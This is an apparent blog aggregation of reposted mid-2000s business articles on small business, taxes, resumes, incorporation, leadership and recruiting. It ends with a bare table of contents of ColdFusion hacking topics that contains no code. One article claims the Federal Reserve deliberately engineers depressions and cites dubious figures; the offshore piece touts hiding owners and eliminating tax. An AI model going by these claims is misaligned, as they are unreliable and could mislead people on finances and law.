While undergoing training in one of the law schools a student would learn about different aspects of law like civil law, criminal procedures, constitutional law, contracts, property, professional responsibility, basic federal income taxation, legislative and administrative interpretation and many others. The syllabus is cautiously devised to ensure that students receive exhaustive training to deal with maximum situation in the professional front. Similarly Masters Degree in Business administration imparts education in business for global society, corporate finance, managerial accounting, information resource management, strategic management, master’s project and other similar relevant courses. Anyone pursuing both law and business studies simultaneously has an advantage of studying some courses that are counted towards both degrees and hence a considerable amount of work is reduced for these students.

About the author:
Mansi gupta writes about business laws Learn more at

Thinks You Should Know Before You Bid On A Business

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:59:00 +0000

by: Sandi Razmen

Whatever your reason for going out on your own, you must keep your reason in the forefront of your mind. If you forget your reason for starting your own home business, you will not be working for yourself for long.
Self-motivation is the key to success when you start a home-based business. You need to possess the ability to push yourself ahead. Your drive and determination will be reinforced with every new sale.
Remember --- your own business is a lot like a real job. Some people go to work to play, some go to socialize, and others --- most often those who are paid in a commission or tip environment --- go to work to work and to make money. When you work for yourself, your salary is directly proportional to your productivity.
In every home business, there are certain processes that we do over and again, please factor in the most important element concerning the cost of your promotions.
What element is that? Your time!
Value your time at a certain dollar amount, and figure in your time into the cost of your promotional accounting. Because too many promoters lose sight of this concept and spend 20 hours to generate one sale while using free advertising.
The level of success that you will achieve greatly depends on the time and effort you are willing to plow into your new home business. Your organization, planning and marketing skills, will all be put into practice when you embark on your liberating journey.
Most people have a misconception about having to spend lots of money in order to advertise their home business. When you start out, you honestly will not have much money available for advertising, and if you do, you should still spend it wisely.
It is important to understand what you expect to gain from your advertising
In order to make good decisions concerning how to spend your advertising budget, you must first have a good understanding of the different types of advertising and promotion available and what can be expected to be achieved by each.
However you choose to spend your advertising dollars, you should always track the results of your promotional efforts. No business can survive the long run without some form of consistent advertising.

About the author:

Sandi Razman author of this article is offering Free Email newsletter tips, ideas and opportunities for home bused business. Get more details and signup at: for reciprocal links

You May Have A Successful Small Business Idea

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:58:00 +0000

by: Sintilia Miecevole

You surely know that a small idea can lead to a great business success. The first movement is to think of an idea that would be suitable for the business market. After coming up with the idea, the next step is to put that idea into action. Of course, this is a very difficult step and having the idea is only the start of the journey. After that you will have to face many obstacles before being able to carry on with your business project. This is just the beginning of this process and there is a lot of questions you will have to answer before even start.

Some of the main aspects you have to concentrate on when you have business ideas are the abilities and gifts you can pour into the business. It is very important for you to be identified with your business project. Those ideas should be based on activities and actions you take pleasure in doing. For example, if we suppose that you dislike working in the open, landscaping business would not suit you. On the other hand, if you like working with children, setting up baby-sitting or tutoring business would be an excellent idea. In this case, without any doubt you business will be more successful because you will have put your mind, effort and also your heart on it.

Another vital step is to analyze the needs of a specific product or service in your region before setting up your business. Do people of your area need your product? Are there other business like the one you are planning to start? You should ask yourself whether or not you are the only one offering that service or product. If you are not, you will have to analyze the competence you will have to face. You have to think whether the service you are offering is one that customer would repeat, or if it is a one-time specialized service. Obviously, the former are more likely to succeed than the latter.

There are other aspects you have to take into account. These aspects are described below:

- One of them is that if the idea is unique, you will reign the market. But if there is much competition, it will be difficult to enter into the market.

- A second point would be if you can offer quality from the very beginning, otherwise, you won't succeed.

- Finally, you have to think about your capital to start your own business. There are many business ideas that require little investment and bring great profit. Some demand research, such as daycare service, and others need a large amount of money to begin the business. So take this recommendation into account before investing all your money in a small business idea.

About the author:
Business information at with the all time expert, Sintilia Miecevole is now available. You'll have resources at your fingertips from franchises, finances, banking, brokers, the economy, accounting, degrees, grants, to businesses for sale. Be sure to visit for the latest news on business.

Pay Your Children to Work for You with the Blessing of the IRS

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:58:00 +0000

by: Chris Bird

Save on Taxes by Hiring Your Children

You've heard that you can't have your cake and eat it, too. But hiring your own family is one case when you can. Pay your minor or adult children to work for your business, then write it off as an expense.

Many people are confused about whether it's legal to hire their children and grandchildren. Follow my advice to satisfy both the IRS and employment laws - while saving on your own taxes. Assuming it's a true payment for services performed (and the paperwork is handled properly) it's totally legal and acceptable to pay family members.

Minor Children Save the Most Taxes

Child labor restrictions don't apply to a parent (unless it's in manufacturing, mining, or any hazardous occupation defined by the Department of Labor) - even under 16. I hired my own daughters from the ages of 7 and 9 without a hitch.

You need not pay withholding income taxes, payroll taxes (including Social Security) and Workmen's Compensation (in most states) until the child turns 18. Just remember to complete quarterly payroll tax returns, as you must for any employee. Forget about paying federal unemployment taxes until the child turns 21.

However, if your business is an S or C Corporation, you must pay Social Security and Medicare taxes regardless of their ages.

To Survive IRS Scrutiny

1. The children actually have to work
2. Pay them consistently
3. Pay them according to what you'd pay someone else
4. Keep detailed records
5. Issue a W-2 at year end and file a tax return for the child, even if no tax is owed

Example:
Wages paid to 13 year old child $6200
Less: Standard deduction for 2005 (5000)
Taxable income $1200
Tax Due (10% x $1200) $ 120

While for the parents:
Wages paid to the child $6200
Tax Savings (40% x $6200) $2480

For a net savings to the family of $2360

The income tax standard deduction is $5000 for every person in the country, including each of your minor children. So unless you pay them more than that, they won't have any tax obligation at all. And since they really earned it, the "kiddie tax rules" do not apply.

When hiring adult family members you can justify larger salaries. And they can participate in benefits like qualified retirement benefit programs and fringe benefits (like medical insurance and childcare).

Working for You Teaches Children about Managing Money and Saving

The income has to be earned by the child, so the amount needs to reflect the value of what's done. And the money does belong to them, even if it's being saved for college.

Many of the benefits of involving your children in your operation aren't tax-related at all. They're gaining practical experience, learning the value of work, and maybe how to carry on the family business down the road.

If you're wondering whether to trust my advice, I've sat on both sides of the desk. I worked for the IRS, and since leaving there have conducted almost a thousand seminars on financial planning and taxes. I speak to real estate and banking professionals all over the country, and have found that everyone wants to learn smart strategies that bring reliable financial returns - without getting them into tax trouble. In my opinion, hiring your family is one of them.

Don't hesitate to put the troops to work. When you hire your children you're teaching them skills they'll be able to use for the long haul. They're learning the value of a dollar - and how hard you have to work to earn them. And bottom line, it makes good financial sense as well.
© 2005, Chris Bird

About the author:
Chris Bird Conducts 150 seminars a year for Real Estate and Financial professionals Wealth building, financial planning, residential rentals, tax strategies, accounting Certified Financial Planner (CFP) IRS Enrolled Agent Chris@ChrisBirdSeminars.com

FOUR SIMPLE STEPS TO BETTER RESULTS WITH YOUR RESUME

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:57:00 +0000

by: Jeff Altman

Is every job description you read the same? No.

Is every job you submit your resume to the same? Of course they aren’t.

If all these job descriptions are different, why do you submit the same resume?

Every day, people send the same generic resume out as though each position was identical and each employer was attempting to hire identical skills and attributes. Too often, the results they receive are like the broken watch that is right twice a day—hit or miss success.

They list their name, address, phone numbers and email address, list an objective, education, and chronology of experience with dates of employment. The resume includes some successes or accomplishments. This is their resume.

In the days prior to computers when changing a resume required you to re-type different versions, this made sense. Today, when computers allow you to customize, spell and grammar check documents so easily, you are missing out on opportunities and costing yourself money by being lazy and not tailoring your resume for each opportunity you are interested in.

Here are several steps that you can do to improve your resume and get better results.

1. Each employer will be interested in different attributes of your experience. They often indicate it by the items they describe in their job ad. Emphasize the experiences that you have that relate to the skills being sought and the functions you will perform in the job they will ask you to perform. If you are applying for a staff position, emphasize your staff experience and minimize your management experience. If you are being hired to be a leader, write about your recent leadership.
2. Employers are more interested in recent work, rather than work you did many years ago. Use more space in your resume to highlight recent experience, rather than things you did before George W. Bush became President.
3. Like setting a goal where you make them specific, measurable, achievable within a specific period of time, describe your successes or achievements concretely. Reducing costs is a nice start but it is more powerful to describe something as reducing operational costs globally by 2%. Increased departmental sales by 27% resulting in . . . You get the idea. Use action verbs wherever possible (For more on this, read my article, Preparing an Effective Resume” on www.newyorkmetrotechnologyjobs.com).
4. Ask someone you trust to critique what you’ve written. Too often, people believe that they can do everything by themselves without asking for help. Ask a friend in your industry to critique what you’ve written to insure you’re on target and aren’t missing the mark.

When you go to a restaurant and order a meal, you have the expectation that it will be prepared in a way that will please you and be presented on the plate beautifully. Writing a great resume requires that you be the chef and prepare a meal that is both visually appealing and tastes great too!

Jeff Altman
Concepts in Staffing
jeffaltman@cisny.com

© 2005 all rights reserved.

About the author:

Jeff Altman, Managing Director with Concepts in Staffing, a New York search firm, has successfully assisted many corporations identify management leaders and staff in technology, accounting, finance, sales, marketing and other disciplines since 1971. He is a certified leader of the ManKind Project, a not for profit organization that assists men with life issues, and a practicing psychotherapist. For additional job hunting or hiring tips, go to

If you would like Jeff and his firm to assist you with hiring staff, or if you would like help with a strategic job change, send an email to him at jeffaltman@cisny.com (If you’re looking for a new position, include your resume).

Is Incorporating Your Small Business Best For You?

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:57:00 +0000

by: Jeff Schuman

There comes a point in time when every small business person
contemplates on whether to incorporate their business or not. A
lot of times small businesses start out sole proprietorships,
and then become incorporated as the business expands and
develops. Small business incorporating can be a difficult
decision, and with this article you’ll gain a little bit of
knowledge on the advantages and disadvantages.

There are many advantages to incorporating your small business,
but limited liability is one of the biggest advantages. When
you have sole proprietorship to the company all the liability of
the company is on the owner. When incorporating the business,
your only liability is to however much you invest in the company.

With sole proprietorship, all of your personal belongings, such
as car and home, can be turned over to help pay the debt of the
business. As a shareholder in the business, you have no
responsibility whatsoever for the debts of the business, that is
of course unless you give a guarantee.

Another advantage to incorporating a small business is the
ability to raise money so much easier. With the ability to
raise money much easier, this increases the odds of the
corporation growing and expanding. Yes, you’re saying any sole
proprietorship can borrow money and incur debt like any
corporation. However, with a corporation you can sell shares
and raise equity capital, which is a big advantage in that you
generally don’t have to repay equity capital and it has no
interest.

There are many tax advantages with becoming a corporation that
you can take a look at as well. Some of these advantages
include income splitting, potential tax deferral and more.
Along with the reasons above, a corporation can have an
unlimited life. The life of a corporation is not dependent on
particular individuals, but the company as a whole. With this,
the company has the opportunity of lasting forever just as long
merges with another company or goes bankrupt.

Now that I’ve buttered up the idea of incorporating your small
business, let’s take a look at some of the possible negatives.

As you incorporate your small business, there now will be two
tax returns to file each year, one for your personal income and
one for the corporation. This may not be a huge deal, but
unlike a sole proprietorship a corporation cannot deduct its
losses from the personal income of the owner. Plus, having
another tax return is the last thing another business owner
wants to deal with.

As a corporation is much larger and more complex then a small
business, therefore the cost to create one is much higher. Just
to set up the corporation will cost a lot more, then you have to
tack on the increased maintenance fees, accounting fees, and
more.

As with everything else, a larger business means more paperwork
that must be taken care of. Corporations must keep a minute
book, which contains the corporate bylaws and minutes from
corporate meetings. Reports and tax returns must be completed
neatly and in a timely fashion. All of the business bank
accounts and records have to be kept separate from personal
accounts and assets. That may sound like a load, but that is
just the start of the increased paperwork that comes with the
territory of incorporating your small business.

While there are many advantages and disadvantages to
incorporating your small business, the decision ultimately goes
to you. It is a decision that could make or break your
business, therefore much more research is recommended. However,
small business incorporating should be a thing that suites you
and others associated with you best.

About the author:
Small business grants and small business resources to help you start and run your own small business. Small business training, information, articles, loans, and more.

MORAL ARMOR'S Economic Warning for Americans

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:56:00 +0000

by: Ronald E Springer

Copyright 2005 Ronald E Springer

For years we’ve suffered under recession, prompting us to ask, When will it end? My answer is, “It’s only the beginning.”

Historically, recessions are the result of high interest rates, pushed up as the result of loose money policies. Recovery comes when citizens begin to spend more wisely, save money and pay off their debts, but not this time. Never before have credit policies been so loose for so long, and there has been no decrease in consumer debt. It’s still on the rise, but Americans are NOT fundamentally to blame; immoral monetary policy is.

Banks used to consider a safe loan applicant to have a 36% or less Debt to Income Ratio (debt divided by gross income). This percentage is a time-proven figure indicating the financial health of an individual. Now, during the worst economy in twenty years and with no signs of recovery, our banks gladly loan to applicants with a 56% Debt to Income. What has changed? Are banks suddenly more generous? I don’t think so. One good question to ask is, Why are banks willing to accept the additional risk? But the real question to ask is, Where is this money coming from?

Not one in a thousand Americans knows the true nature of our banking system, so they have no idea that what happened in 1929 is about to happen again. Nor do they know that it was done deliberately then, and is being done deliberately now.

We have in this country one of the most corrupt institutions known to Man, and I refer to the Federal Reserve. Since it’s inception in 1913, every dollar created has interest being paid on it as if it were borrowed. This debt cannot be extinguished without destroying the currency itself, and has spawned a nightmare of debt that presently amounts to over $360 Billion in interest paid per year, accounting for half the personal income tax of the nation. Due to this, America is forced to create $7 Billion daily to cover the $1 Billion it pays in interest daily due to the Federal Reserve System. This is where the public comes in.

Federal Reserve bankers have to find a way to spend $6 Billion every day while masking the inflation it causes. Throughout the nineties it was done through real estate and the stock market. Now it is almost exclusively being put into real estate. How on Earth could so many mortgage companies be offering interest only, no money down, multi-hundred thousand or million dollar loans with high applicant debt ratios?

Here is a hypothetical example of what’s going to happen: Your mortgage banker tells you that with a 56% debt ratio, you can afford a $300,000 home, no money down. You secure the loan at 4%, costing $1432 per month. A few years later, you’re thrown out of work for three months. Back payments amount to $4296 plus late fees, legal fees, etc., and another $5k on cars, credit cards and everything else. Unable to catch up, you’ll try to refinance, but interest rates have moved up to 7%. A $310,000 loan now costs $2062 per month—more than you can afford, but banks will have tightened lending policies back to 36% and you no longer qualify for the home you own anyway. Accounting for all other debt, you now qualify for a shocking $360 per month. You are trapped, and the new bankruptcy laws they pushed for will never let you walk away.

You owned this home in a perfect numbers scenario, but any complications—unemployment, salary reduction, interest rate increase, debt ratio change, bruised credit rating, depressed home values--and you’re cooked. One mishap and every financial measure works against you. Your financial angel has suddenly become your greatest enemy. Welcome to the Federal Reserve System and their freshly engineered worldwide depression.

If you were to approach the housing market fresh, you would find that you only qualify for a $55k house now, along with the market of buyers you were hoping to unload your balloon-house on. The bank forecloses, auctions it off and you’re personally responsible for the difference, which could be massive. Bankruptcy is right around the corner, and deplorably, you are the only one who will be held accountable. You will then be a debt slave as the Federal Reserve intends, and game over.

My advice is to get as financially stable as you can. Mathematically, our situation is much worse than that of the Great Depression. No matter how generous these bankers appear, pare down monthly outlays to 36% D/I or less. Set aside three to six months of mortgage payments in case you become unemployed. Make sure you can ride out the storm.

We are coming to a point in American society to where it’s either them or us, and mass awareness is the key to our survival. Most believe the Federal Reserve is a part of the government, but it’s just a name. The Fed is a private corporation set up for private gain, with a dark history of stock market crashes, financial panics, political manipulation and ultimately, mass poverty and hunger riots. Our struggle is not new: currency control has switched from public to private hands EIGHT times since our country’s inception, and needs to be reclaimed by the people, one last time.

Don’t think you can play helpless and expect our political leaders to protect you from financial calamity; they never have. You must become Morally Armed on your own. Don’t be coaxed into believing the system is optimized for the good of all. The Federal Reserve System is not an equitable institution, and it was never intended to be. They believe if they have us strung out on debt, we are no threat to them. Let us prove otherwise.

Currency reform is the most important issue facing Americans today. How it plays out will determine whether you and your children eat or not, whether you have a place to live or even a future to look forward to. The major media will ridicule anyone speaking against the Fed, so to validate history’s greatest moral dilemma for yourself, just google “Jackson bank veto.”

America must abolish the Federal Reserve System to regain control over the economy and our government. For a concise history of world monetary policy and how it shapes world events, see Moral Armor. Then share this knowledge with your friends. Email this article to everyone in your address book and stay tuned for further developments. We’ll change the system together and bring a brighter dawn to Mankind.

About the author:
Ronald E. Springer is the Author/Philosopher of Moral Armor, the world's first fully-integrated moral philosophy based on the nature of Man. Featured on The Mitch Albom Show, NBC and FOX News radio affiliates, Mr. Springer is available for interviews, speaking engagements, philosophy workshops and seminars. Please contact RonaldESpringer@MoralArmor.com or visit for details.

Childcare Management & Daycare Software

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:56:00 +0000

by: Jasmine Ong

ProCare

Running a childcare facility can be an exhausting, 24/7 job. There are always kids to keep track of, records to update, fees to collect, bills to pay, reports to write, and so on. Often, your To-Do List seems both frighteningly endless and drearily cyclical.

If you're not careful, trying to keep up with all your duties could wear you ragged. You also run the risk of spreading yourself too thin. And that could spell the difference between delivering quality and substandard childcare.

Fortunately, Professional Solutions' ProCare software provides a way to streamline your operations. With this line of childcare management and daycare programs, you can quickly automate your facilities for maximum efficiency and minimum headaches. This means you can now instantly accomplish tasks that would otherwise take you minutes, hours or even days to complete. This also means that investing in the ProCare system can save you a fortune in wasted time, effort and money. It can very well be the soundest business decision you'll ever make.
Automation allows ProCare to simplify many monotonous and mundane administrative chores for you. With just a few keystrokes and mouse clicks, it can help you organize customer information into easily retrievable records. It can also help you perform other time-consuming duties, such as scheduling, bookkeeping and generating reports, in practically no time at all.
ProCare knows that the decision to automate your center is no small matter. This is why ProCare willingly provides you with a free software demo (available for request at http://procaresoftware.com/demo.shtml that will walk you through the system. This gives you a firsthand feel of the features and benefits without having to shell out any funds.

ProCare is a completely customizable software package solution. With the comprehensive ProCare Family Data program at its very heart, managing child and family data becomes swift and simple. Other optional modules can be purchased as add-ons to this core software. Each module is intended to target a specific function, such as accounting or attendance tracking. While the Family Data software is a must-buy, you only pay for the add-ons that you want or require. ProCare can therefore be designed to meet the individual needs of most any preschool or daycare. It can even be designed to fit most any budget. A pool of well-trained and dedicated ProCare consultants are always on hand to help you pick out which features will work best for your particular center.
Once you choose and install the ProCare package best suited for your needs, you're ready to hit the ground running. Its intuitive interface guarantees ease of use, with absolutely no learning curve necessary. Even computer novices will be able to successfully navigate through the application's user-friendly menus and functions. So from the moment you fire up your software, all you have to worry about is what you're going to do with all the time you'll save.

For an entire decade now, ProCare's business solution expertise has given childcare professionals more time to focus on what really counts: nurturing and caring for kids. Isn't it time you automated your center the ProCare way too? For more information on Day Care Software, please visit http://www.softwareperfect.com/

About the author:
Jasmine Ong is a staff writer for Software Perfect - a leading independent software review website.

Five Leadership Secrets for Challenging Times

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:56:00 +0000

by: Ed Sykes

We consistently face new and ever growing challenges in the workplace such as reorganizing, downsizing, and “left out sizing.” We are faced with the question, “How do we lead in this storm of change?” It may seem difficult at times and the decisions we make define our short-term and long-term outcomes. I will share with you five leadership techniques guaranteed to keep you on track during these difficult times.

1 Integrity.
I put this first because the lack of integrity will make or break you as a professional, as a leader, as a person in the long run. The lack of this will turn yesterday’s heroes in today’s villains. For example, “MCI was the apple of the business community’s eye. High revenues, high profits, and high growth; MCI was beating the competition hands down.

Then it was discovered that there were gross accounting irregularities that accounted for the astounding profits. You see, management made a decision, “Do I continue to sustain good growth and be able to look at myself in the mirror or do I cook the accounting books and spend the rest of my time covering up this integrity deficiency? The real shame of the MCI situation was that AT&T, Sprint, and others in the industry had to cut costs and lay off thousands of employees to compete with MCI’s false numbers. The lack of integrity at MCI not only affected the company but also the livelihood of thousands and the industry as a whole.

I was recently speaking with a recently retired City Council member who is well respected in the community. I asked her what the secret was to her success while on the council? She mentioned that one of her political adversaries said to her, “While you were on the council, I didn’t like the way you voted, but I respected the way you voted because you were consistent with your votes and had the city’s best interest in mind.”

Ask yourself what decisions that you make are right for the long term? Be consistent in your actions, whether it is with management, your team, or your family.

2. Knowledge.
With change happening faster and faster every moment, it is extremely important that you gain the knowledge to master these changes. You owe it not only to yourself, but to your team and management. As I always say, “It’s not having the right answer, it’s that you have the right answer faster than before.” Many times during my teambuilding programs a student will say, “I didn’t know where to find the answer.” Then I will say, “That is an unacceptable answer.” Because part of being a leader is acquiring the skills to find the right answers. With the Internet, classroom and online training, mentors, etc., the knowledge is at your fingertips.

Challenge your team members to use the same resources to acquire the knowledge to master their challenges. By acquiring this knowledge, you will be able to navigate your team through the ocean of change and achieve your goals.

3. Decisiveness.
You have seen them. They wait for information, then more information before making a decision. Then they need more information to support the information they already have.Then they need a committee to analyze the information. Then they wait for the perfect time to make the decision.

Well, you know what I mean. Anyone you know? Make the decision! Good things happen when you take action; you grow, you adapt, and your team grows. There is no perfect time to make a decision. Leaders make decisions based on past experience, putting into action the decision, and staying and adapting the decision if needed. But make the decision. The worst quality you can show your team is indecision. What do you think your team sees when you can’t make a decision? Make the decision and go for it.

4. Vision.
This is the ability not only to see what is the present - anyone can do that - it’s the ability to see the future. Outstanding leaders can not only see their team for what they can do now, but what they can become, and paint the picture for them. These leaders are consistently communicating and coaching their team members to that vision. One of the best ways, and least used methods, to convey your vision is the team meeting.
Every meeting should start out with the team vision, mission, and goals; and the rest of the meeting should tie into the vision. For example, the motivation portion of the meeting should tie into the vision, the information portion of the meeting should tie into the vision, the training portion of the meeting should tie into the vision, etc. Also, invest time to develop your team members’ personal visions and show them how they can accomplish their personal goals by tying into the overall vision. By consistently communicating the vision, your team will move with purpose, feel they are personally making a difference, and achieve their goals sooner.

5. Unselfishness
Stephen Covey, in his successful book Seven Habits of Highly Effective People, wrote that a true leader must be a servant to the ones he or she leads. The leader must be able to “give of oneself for the good of the team.” In other words, be unselfish in words and action. Be unselfish in praise of others, in public, especially in front of management.
Be unselfish in the ability to take time to listen, really listen to your team’s concerns. A recent management survey said that the average time management invests doing “pure listening” to employees during the year is a mere two hours- just two hours! What was meant by “pure listening” time was listening with eye contact, acknowledgement, and not answering the phone while listening, not speaking with another person while listening, etc. Be unselfish in the ability to help your team. Whether it’s the ability to readily assist with a difficult telephone call, jump in and remove road blocks for team members, or “be there” for a team member during challenging moments. Believe me, your team will remember those moments and excel for you.

Now I challenge you to put into action just one of the leadership techniques I mentioned above to achieve your vision, your mission, and your goals in the future.

Copyright © 2003 Ed Sykes. All rights reserved

About the author:
Ed Sykes is a professional speaker, author, and success coach in the areas of leadership, motivation, stress management, customer service, and team building. You can e-mail him at mailto:esykes@thesykesgrp.com, or call him at (757) 427-7032. Go to his web site, and signup for the newsletter, OnPoint, and receive the free ebook, "Empowerment and Stress Secrets for the Busy Professional."

Recruiters: The Challenges of Executive Head Hunters

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:55:00 +0000

by: David Leonhardt

(and how the Internet is solving them)
By David Leonhardt

Once upon a time, head hunters were no more than common cannibals. Some people still view them that way, but executive recruiters are a vital link in a chain that keeps major enterprises functioning well.

The top positions at any organization dictate the fortunes of the company, the shareholders and the employees ... and often the communities in which they are located. A good executive head hunter can ensure that new company executives have the skills required for the position and the challenges ahead. He can also ensure that the right executive is chosen, one whose style will flourish in the specific environment of that company.

However, modern executive recruiters face challenges to be effective. I caught up with Esther Barzel, co-owner of the Online Recruiter Directory ( http://www.onlinerecruitersdirectory.com ).

Q: What are the main challenges of executive head hunters in today's business climate?

A: To start with, the geographic net has become much wider. A head hunter in , say, New York City or Toronto, can no longer rely on finding the right candidate right in town. In fact, the ideal candidate might be just minutes away by Internet, but he might be located in another country or even on another continent. We are looking at a new breed of executive recruiter.

Q: The Internet should make his job easier, right?

A: Yes...and no. He has to post requirements in more places and sift through more potential candidates to find the jewel he seeks. So his workload has actually increased.

Q: Plus, I presume, he still faces the challenges of yesteryear?

A: That's right. He still has to make contact with potential candidates, conduct preliminary interviews, set up meetings with the company, attend to minute details, brief the interviewer, etc.

Q: What about follow-up?

A: Yes, there is, of course, follow-up required after every interview, both with the client and with the prospect. It's a busy job.

Q: So how does the Internet make life easier for an executive recruiter?

A: Now you have online communities and bulletin boards, such as Monster.com, where you can place ads for positions. This makes it somewhat easier to cast one's net. Directories like ours help head hunters attract clients, so they can spend more recruiting and less time on business development.

Q: Don't online bulletin boards and directories just mean the head hunter has to spend more time in more places?

A: Yes and no. Online resources are more easily searched than, say, paper. Our recruiter directory gives employers the chance to search by geography or by vocation, or by the type of position. This means they can find a recruiter that specializes in pharmaceutical sales, or who specializes in accounting, or whatever field. The head hunter spends less time answering questions from people who will never be their clients.

Q: And I assume it works both ways?

A: Yes, the recruiter gets resumes from only those people who are likely candidates for the types of positions he works on. The pharmaceutical recruiter, for example will not get a resume from someone whose background is in aeronautical engineering.

Q: Wow, that's a mouthful. I don't know if I could even repeat that.

A: Many executive recruiters could not repeat it, either. So the Internet is making it easier for them to receive resumes targeted to their field of expertise, saving them time...not to mention overexertion of their tongues.

On that humorous note, we thank Esther for taking the time to explain how the Internet is making life both more complex and easier for executive recruiters and head hunters.

About the author:
David Leonhardt is a freelance writer:

More about head hunter challenges:

More about executive recruiter challenges:

More about Esther Barzel's recruiting services

Is It Necessary To Have a Business Plan?

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:55:00 +0000

by: scott morris

Are you planning to start a new business? Or are you considering expanding your current business and require a bank loan or investment from outsiders?

If you are going to look for an investment of capital it is quite likely that you will be required to have a business plan. If you are starting a business, despite the work involved, a business plan can prepare you for the obstacles ahead and help ensure your success.

A business plan is something that many small businesses fail to create, however, many business owners are adamant that having a written business plan is one of the keys to their present success. Creating a business plan forces you to contemplate possible obstacles to your business and prepares you to find solutions that will help you to overcome them.

To find investors or get a bank loan, they will want to see that you have the experience or resources to run the business. They will want to see your projected income as well as your suggested repayment plan already laid out. Taking the time to do this is not only important for them, but it gives you a measuring tool to verify if your business is growing properly. You can gage your success on how close to the plan your business has actually performed. Perhaps you'll do worse, or perhaps you'll do better, either way it helps you determine how well your business is getting on.

If you have never seen a business plan before you may be concerned that is is too difficult a proposition for you to manage on your own.

While there are services available where you can hire someone to write a business plan for you, depending on your needs it may be wise to familiarize yourself with a business plan's layout. This will not only help you to provide the necessary information, but may encourage you to try your own hand at it.

There's a free tool at www.bdc.ca which will assist you in creating a business plan. Some of the topics you will be required to explain are your Market, Customer, Competition, Marketing Plan, Research & Development along with financial forecasts. You may consider hiring someone to help you with your financial sheets after completing the written part of the Business Plan.

Your Business Plan will become your guide and silent business partner - indicating where you need to improve and helping you stay one step ahead of your competition. Make it a priority to have this crucial road map for your business.

About the author:
Scott Morris's personal site on accounting business and business administration
for more information, you can visit

Five Reasons to Incorporate a Company Offshore

noreply@blogger.com (Unknown) — Tue, 25 Mar 2008 00:54:00 +0000

by: Rhiannon Williamson

When it comes to the term ‘offshore’ used in conjunction with company incorporation, the term ‘offshore’ generally refers to any jurisdiction other than one in which the company incorporated will conduct the majority of its activities.

Usually such a jurisdiction has some degree of taxation or reporting benefit attached that makes it attractive to the company owner, and the concept of incorporating a company offshore will bring at least one of the following five benefits to a business owner: -

1) Ease of Operations – depending on the jurisdiction and the type of business activity to be conducted under the company name to be incorporated, the operating restrictions, auditing and accounting requirements and standards to which the business and its employees and directors must adhere are often far less restrictive offshore than onshore.

Exceptions to this rule are financial services based companies in many jurisdictions for example, who have to comply with extra regulatory legislation for the protection of the company’s clientele.

The advantage of easing operations particularly for a small or start up company is a reduction in operating costs and in the amount of time a company’s directors have to dedicate to form filling and report filing.

2) Reporting Simplification – this ties in with the first benefit; in the majority of offshore jurisdictions favoured for company incorporation the company activity reporting requirements are often far fewer and simpler as the business activities entered into by the company are conducted outside of the jurisdiction in which it is incorporated.

Furthermore personal information relating to the company’s directors and shareholders need not be declared in all cases or the extent to which personal information is required is far less intrusive.

3) Taxation Reduction/Negation – the reduction in taxation liability is one of the main benefits associated with investing offshore, opening an offshore bank account or incorporating a company offshore.

If you set up your company in a low or no tax jurisdiction you could potentially save yourself substantial amounts of money legally. Often the rules are that if the company incorporated in a particular jurisdiction never derives an income from the local economy it can operate tax free.

It’s therefore possible to use an offshore company in an overall international business structure and ensure profits are posted in the offshore jurisdiction and so no tax is liable! Many international corporations operate in this way and actually negate their tax liability fully.

4) Asset Protection – by operating a company offshore, i.e., outside the jurisdiction in which the company operates, it is sometimes possible to position assets away from the reach of any potential litigious action and also to shield business transactions from the eyes’ of the competition.

5) Personal Privacy Protection – the level to which a director or shareholder’s personal information is required, held, visible or investigated offshore is likely to be far less invasive and intrusive than onshore. It is also possible to appoint nominee directors and secretaries for offshore companies in many jurisdictions thus keeping the true company owner’s identity shielded.

The information contained in this article cannot constitute advice. Each individual’s circumstances are unique and whether or not offshore company incorporation is something that could benefit your business can only be determined with personal advice.

About the author:
Rhiannon Williamson is a freelance writer whose many articles about the offshore world have appeared in business and financial publications around the world. To find out more about Offshore Company Incoporation visit

NotaPedia

Explain ColdFusion Hacking

Coldfusion hacking

Contents

Injection

Adobe ColdFusion

Remote File Disclosure of Password Hashes

Issues

Logging In

Writing Shell to File

Issues

Railo

PoC: cf8_autopwn.rb

Privilege Escalation

Patching

Resources

Free alternatives to Adobe ColdFusion Server

1) BlueDragon - https://en.wikipedia.org/wiki/BlueDragon

2) Railo - http://en.wikipedia.org/wiki/Railo

3) http://en.wikipedia.org/wiki/SmithProject

GlassFish Vs JBoss

What's the difference between Coldfusion Developer Edition and Enterprise Edition?

IT GLOSSARY

Glossary of Computer Terms

Glossary of Computer Terms

The Top 10 Reasons Your Staff Wants to Quit

How to Quit Your Job

Networking

Recruiting Excellent Job Candidates

Choosing A Business Tax Service

9 Strategies for Writing Accounts Payable Procedures

Business laws basics

Thinks You Should Know Before You Bid On A Business

You May Have A Successful Small Business Idea

Pay Your Children to Work for You with the Blessing of the IRS

FOUR SIMPLE STEPS TO BETTER RESULTS WITH YOUR RESUME

Is Incorporating Your Small Business Best For You?

MORAL ARMOR'S Economic Warning for Americans

Childcare Management & Daycare Software

Five Leadership Secrets for Challenging Times

Recruiters: The Challenges of Executive Head Hunters

Is It Necessary To Have a Business Plan?

Five Reasons to Incorporate a Company Offshore